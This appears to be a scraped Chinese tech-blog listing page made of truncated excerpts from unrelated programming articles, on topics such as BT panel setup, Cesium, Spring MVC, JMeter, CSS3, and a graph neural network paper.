提示&#xff1a;宝塔面板下载地址&#xff1a;https://www.bt.cn/new/download.html 文章目录前言一、快速迁移二、设置固定ip一.保证可以连接网络二.设置固定ip三、搭建宝塔面板四、做好备份五、安装Redis六、安装MySQL一、8.0版本以下二、8.0版本以上三、安全组开放端口四、…

GitHub上最全的Java面试题库竟还要收费?黑客强行开源后遭起诉

“金三银四”、“金九银十” 一直被称为是跳槽的旺季&#xff0c;最近也有不少小伙伴找我咨询一些面试相关的问题。但是我的建议是跳槽之前先想清楚自己为什么要跳槽&#xff0c;不要看到身边的同事跳槽之后薪资涨了不少&#xff0c;没有做好充分的准备就盲目开始投简历去面试。…

最新版 Cesium(1.99.0) 构建封装开发环境以及遇到问题

最新版 Cesium&#xff08;1.99.0&#xff09; 构建封装开发环境以及遇到问题使用版本Webpack4.* 集成 Cesium 错误官方示例介绍官方示例配置介绍&#xff1a;官方示例配置补充&#xff1a;webpack5 过程学习资料githup 完整项目最近项目用 Cesium 比较多&#xff0c;因此想把常…

世界各国GDP相关面板数据(1960-2019年)

1、数据来源&#xff1a;世界银行 2、时间跨度&#xff1a;1960-2019年 3、区域范围&#xff1a;全球 4、指标说明&#xff1a; 该数据包含以下指标&#xff1a; 1.世界各国1960-2019年GDP 2.世界各国1960-2019年GDP增长率 3.世界各国1960-2019年人均GDP 4.世界各国196…

SwiftUI 精品源码之学习可视化应用程序基于SceneKit,AVSpeechSynthetizer 文字转语音功能tts(教程)

我是一个非常注重视觉的人,这也适用于我的学习。当他们做某些事情时,我通过观察事物或其他人来学习。我也有很强的听觉倾向,所以你不能指望我读完一本 300 页的小说,但你可以指望我听 1 小时的播客而不会分心,并从中真正学到一些东西。 这种学习方式时常帮助我,从一门学科…

龙蜥开发者说:开源是场马拉松!来自广州大学姚同学的开源成长记 | 第 13 期

「龙蜥开发者说」第 13 期来了&#xff01;开发者与开源社区相辅相成&#xff0c;相互成就&#xff0c;这些个人在龙蜥社区的使用心得、实践总结和技术成长经历都是宝贵的&#xff0c;我们希望在这里让更多人看见技术的力量。本期故事&#xff0c;我们邀请了龙蜥社区开发者姚胤…

远程兴起,前端音视频通话?学

前言 看到前两篇文章都非常受欢迎&#xff0c;加起来有一千多赞了&#x1f44d;&#x1f3fb; &#xff0c;非常的开心&#xff01;&#x1f916;继续加油&#xff01;冲&#xff01; 我们在前两篇文章中大概讲解了 音视频媒体流的获取&#xff0c;处理&#xff0c;以及在上一…

(免费分享)基于jsp的CRM客户管理-带论文

一、课题来源&#xff1a; 自有商业活动&#xff0c;客户关系就一直是商业活动中的一个核心问题&#xff0c;同时也成了商务活动成功的审核标准。在全球经济一体化为时代背景的时代&#xff0c;企业面临着为公司带来更多的客户、为管理者提供准确的信息和便捷的操作查询手段 、…

新旧iphone短信转移,苹果旧手机短信导入新手机

短信携带重要信息内容&#xff0c;新旧iphone短信转移&#xff1f;您可能知道&#xff0c;iOS设备上不支持导出iPhone简讯&#xff0c;更不用说打印iPhone上的短信了。幸运的是&#xff0c;有一些可行的方法可以将iPhone短信导入到另一个iPhone&#xff0c;继续阅读以获得更多帮…

软件协会第01次活动第05次任务布置:爱心代码+演奏歌曲+typora使用pandoc导出+github注册登录+函数练习+写csdn文章

了解更多关注软协官网&#xff1a;https://www.csuftsap.cn/ 来自软件协会编辑&#xff0c;注册会员即可获取全部开源.md资源&#xff0c;请勿转载&#xff0c;归软件协会所有。 文章目录:star: 软件协会第01次活动第05次任务布置1.程序员的浪漫-爱心代码&#xff08;升级版&a…

css3手册

文章目录布局弹性盒生成弹性容器和弹性项目更改方向主轴排列侧轴排列弹性项目伸缩主轴换行网格生成网格布局定义行和列改变排列方向单元格之间的间隙单元格内部的对齐网格项目定位视觉阴影盒子阴影文字阴影圆角背景渐变变形translate 平移scale 缩放rotate 旋转改变变形原点多种…

spring MVC源码探索之AbstractHandlerMethodMapping

AbstractHandlerMethodMapping 是什么 官方解释是这样的。 /*** Abstract base class for {link HandlerMapping} implementations that define* a mapping between a request and a {link HandlerMethod}.** <p>For each registered handler method, a unique mapping…

Java项目:ssm毕业论文管理系统

作者主页&#xff1a;源码空间站2022 简介&#xff1a;Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 毕业设计管理系统 1、本系统使用SSM框架 2、有管理员、教师、学生三种角色&#xff0c;管理员使用admin/admin登录&#xff0c;教师使用t_01/6666登录&a…

JavaWeb简单实例——DBUtils

简单介绍&#xff1a; DBUtils是一个用来简化我们JDBC的编码工作量的一个工具。它可以在不影响数据库访问性能的情况下简化我们的代码编辑量。DBUtils的作用主要是&#xff1a;写数据&#xff0c;读数据&#xff0c;优化性能。 常用的类和对应的API&#xff1a; QureyRunner…

Spring Framework 6正式发布,携JDK 17Jakarta EE开启新篇章

本文已被https://yourbatman.cn收录&#xff1b;女娲Knife-Initializr工程可公开访问啦&#xff1b;程序员专用网盘https://wangpan.yourbatman.cn&#xff1b;技术专栏源代码大本营&#xff1a;https://github.com/yourbatman/tech-column-learning&#xff1b;公号后台回复“…

1.什么是闭包

什么是闭包 1. 概念 闭包&#xff08;closure&#xff09;指有权访问另一个函数作用域中变量的函数。—《JavaScript高级程设计》 简单理解就是一个函数。 2. 如何产生闭包&#xff1f; 当一个嵌套的内部函数引用了嵌套的外部函数的变量&#xff08;函数&#xff09;时&…

CANoe-vTESTstudio之Test Diagram编辑器(元素介绍)

Test Diagram编辑器里的工具箱,有多个图形符号,它们是组成测试图表的图形元素,具有不同的作用。图形元素能够高效并快速地创建测试图表,然后生成测试用例 1. 基本测试设计元素 基本元素用来创建图形设计 1.1 Setup Setup元素的测试代码能够执行一次,在检查测试用例之前…

特别有用!Jmeter命令行执行时设置并发数和循环次数的方法

Jmeter命令行方式运行概述 之前写过一篇文章介绍如何在centos上部署jmeter来执行性能测试&#xff0c;链接如下&#xff1a; https://blog.csdn.net/liwenxiang629/article/details/124140833 因为大多数linux服务器都是没有GUI界面的&#xff0c;这就需要我们通过命令行的方…

MobPush Android For Unity

集成准备 注册账号 使用MobSDK之前&#xff0c;需要先在MobTech官网注册开发者账号&#xff0c;并获取MobTech提供的AppKey和AppSecret&#xff0c;详情可以点击查看注册流程 下载.unitypackage包 打开 Github 下载 MobPush-For-Unity 项目&#xff0c;下载完成后直接双击或…

【图神经网络论文整理】(十)—— How Powerful are Graph Neural Networks?:GIN

作者信息&#xff1a;Keyulu Xu, Weihua Hu, Jure Leskovec, Stefanie Jegelka论文来源&#xff1a;Computer Vision and Pattern Recognition论文地址&#xff1a;https://arxiv.org/abs/1810.00826 本文介绍的论文是《How Powerful are Graph Neural Networks?》。 作者提…